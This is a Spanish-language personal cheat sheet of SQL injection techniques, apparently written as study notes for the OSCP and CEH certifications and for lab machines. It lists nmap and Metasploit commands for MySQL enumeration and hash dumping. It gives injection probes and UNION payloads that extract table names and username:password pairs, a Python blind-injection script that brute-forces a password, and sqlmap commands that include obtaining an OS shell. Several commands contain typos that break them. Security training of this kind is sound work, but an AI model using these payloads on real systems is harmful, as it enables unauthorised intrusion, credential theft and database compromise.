xrebickx@etc:~$

Sql

Indice

Introduccion

SQL (Structured Query Language) Injection, comunmente llamado SQLi, es un ataque sobre aplicaciones web que tienen comunicacion con servidores de base de datos que tiene como objetivo realizar consultas maliciosas o fuera de permisos. Cuando una aplicacion web se comunica con la base de datos gracias a la informacion pasada por algun campo de entrada para el usuario y no es validada propiamente esta informacion, corre potencialmente la posibilidad de que un atacante pueda ejecutar la consulta y asi robar, borrar o alterar la informacion. Esto atenta contra los principios de disponibilidad, confidencialidad e integridad de la informacion y es importante su atencion a esta vulnerabilidad web tan antigua.

El objetivo de este post es agilizar la busqueda de posibles entradas en inyecciones posibles que he visto para entrar en sql y poder tambien almacenar descriptivamente la estructura de sql para enumerar informacion de las bases de datos; ya que en el OSCP no esta permitido el uso de sqlmap y asi tambien ayudarme en la practica de esta intrusion.

Enumeracion de MySQL

Enumeracion con nmap

#Verificar si existen accesos con usuarios null
nmap --script=mysql-empty-password -p 3306 192.71.145.3

#Informacion del servidor MySQL
nmap --script=mysql-info -p 3306 192.71.145.3

#Enumeracion de usuarios
nmap --script=mysql-users --script-args="mysqluser='root',mysqlpass''" -p 3306 192.71.145.3

#Listar bases de datos de MySQL
nmap --script=mysql-databases --script-args="mysqluser='root',mysqlpass''" -p 3306 192.71.145.3

#Directorio de archivos usado por mysql
nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass''" -p 3306 192.71.145.3

#Persmisos de archivos para usuarios no admin
nmap --script=mysql-audit --script-args="mysql-audit.username='root',mysql-audit.password'',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'" -p 3306 192.71.145.3

#Dump user hashes
nmap --script mysql-query --script-args="query='select count(*) from books.authors;',username='root',password=''"

Enumeracion con msfconsole

#Dump schema
use auxiliary/scanner/mysql/mysql_schemadump
set RHOST
set USERNAME
set PASSWORD
exploit

#Directorios con permisos de escritura
use auxiliary/scanner/mysql/mysql_writable_dirs
set DIR_LIST /us/share/metasploit-framework/data/wordlists/directory.txt
set RHOST
set USERNAME
set PASSWORD

#archivos sensibles disponibles
use auxiliary/scanner/mysql/mysql_file_enum
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files
set RHOST
set USERNAME
set PASSWORD

#Users Hash Dump
use auxiliary/scanner/mysql/mysql_hashdump
set RHOST
set USERNAME
set PASSWORD
exploit

Identificando Tipos de respuestas

In-Band SQL Ijection

Este es el tipo mas facil de detectar y explotar por que hace referencia al mismo metodo de comunicacion que es usado para hacer la explotacion de la vulnerabilidad, como por ejemplo descubriendo la inyeccion de SQL y en el mismo website poder extraer la indormacion.

Error-Based SQL Ijection

Este tipo de inyeccion es la mas util para obtener facilmente informacion sobre la base de datos por medio de mensajes de error que son mostrados directamente en el navegador.

Union-Based SQL Ijection

Este tipo de inyeccion utiliza el operador UNION de SQL junto con un SELECT para mostrar resultados adicionales en la pagina

Identificar la inyeccion

En esta seccion pondre algunas de las tipicas formas de pasar algunos filtros para las inyecciones de SQL

Podemos intentar primero confirmar la existencia de la vulnerabilidad en SQL con simplemente:

 ' -- -
 )' -- -

'; #

  ' #
 )' #

  ' ;
 )' ;

 -- -Para obtener el numero de columnas podemos intentar un 
 ') order by 3 -- -
 

Consultas basicas

Lo primero que tenemos que hacer es ejecutar una sentencia que nos muestre mas informacion si que exista error en nuestra syntax con la funcion UNION. Como por ejemplo:

1 UNION SELECT 1

Si existe un error con la sentencia anterior, significara que el numero de columnas es diferente al que hemos probado, asi que podemos intentar un:

1 UNION SELECT 1,2

El mismo error, significara que tendremos que aumentar igualmente el numero de columnas. Ahora lo que queremos es sacar la primera consulta con informacion, la cual podemos tener cambiando el 1 por el 0 de la manera siguiente:

0 UNION SELECT 1,2,3

El siguiente ejemplo es aplicable en la maquina Overflow de Hack the Box.

En este caso la informacion se listara en el campo 3, ya que es el que esta libre para mostrar la informacion.

-- - Para listar las bases de datos podemos hacer un:
union select 1,2,database()

-- - Para listar las tablas dentro de una bd podemos hacer un:
union select 1,2,table_name from information_schema.tables where table_schema=\"cmsmsbd"\ limit {numero de posicion de la tabla},1-- -

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

-- - Para listar las columnas dentro de una tabla podemos hacer un:
union select 1,2,column_name from information_schema.columns where table_schema=\"cmsmsbd"\ and table_name=\"cms_users"\ limit {numero de posicion de la columna},1-- -

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

-- - Para listar los datos de una columna dentro de un mismo campo podemos hacer un:
union select 1,2,group_concat(username, 0x3a, password) from cmsmsdb.cms_users -- -
union select 1,2,sitepref_value from cmsmsdb.cms_siteprefs -- -

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

-- - Para listar la informacion de una tabla completa 
select * from tablename;

Programa de Python para encontrar contrasenas

import json
import requests

def sql_injection_advance_5():
    alphabet_index = 0
    alphabet = 'abcdefghijklmnopqrstuvxyz'
    password_index = 0
    password = ''

    headers = {
        'Cookie': ''
    }

    while True:
        payload = 'tom\' AND substring(password,{},1)=\'{}'.format(password_index + 1, alphabet[alphabet_index])

        data = {
            'username_reg' : payload,
            'email_reg': 'a@a',
            'password_reg': 'a',
            'confirm_password_reg': 'a'
        }

        r = requests.put(LINK, headers=headers, data=data)

        try:
            response = json.loads(r.text)
        except:
            print("Error en JSESSIONID, lo encontraras cuando estes logeado")
            return
        
        if "already exists please try to register with a diferent username" not in response['feedback']:
            alphabet_index += 1
            if alphabet_index > len(alphabet) - 1:
                return
        else:
            password += alphabet[alphabet_index]
            print(password)
            alphabet_index = 0
            password_index += 1

sql_injection_advance_5()

SQL CEH

SQLi sqlmap

Primero podemos hacer una enumeracion de las bases de datos.

sqlmap -u [URL] --cokie="COOKIE" --dbs

Después podemos enumerar las tablas dentro de una base de datos:

sqlmap -u [URL] --cokie="COOKIE" -D moviescope --tables

Podemos mandar a traernos una shell con:

sqlmap -u [URL] --cokie="COOKIE" --os-shell
#Comandos de sqlmap shell
hostname
TASKLIST
help

En este ejercicio, para extraer la cookie, en la consola ejecutó document.cookie

Detection SQLi Vulnerabilities OWASP ZAP

Para entrar a la aplicación, esta se encuentra en la maquina windows y nombre ZAP OWASP Dentro de la aplicacion seleccionamos la opcion: Automated scan. Una vez seleccionado la opcion podremos poner la URL. Iniciamos el escaneo, y ahora en el apartado de Alerts podremos ver las vulnerabilidades(Bajas, medias y altas) de SQL, entre otras.

Lectura de archivos de DB

En esta ocasion me encontre con un archivo con extension .mdb, el cual para enumerarlo se usaron los siguientes comandos:

mdb-tables backup.mdb

mdb-export backup.mdb acc_antiback

mdb-export backup.mdb acc_door

mdb-export backup.mdb acc_firstopen
#Iteracion en las tablas para encontrar contenido
mdb-tables backup.mdb | tr ' ' '\n' | grep . | while read table; do lines=$(mdb-export backup.mdb $table | wc -l); if [ $lines -gt 1 ]; then echo "$table: $lines"; fi; done

mdb-export backup.mdb auth_user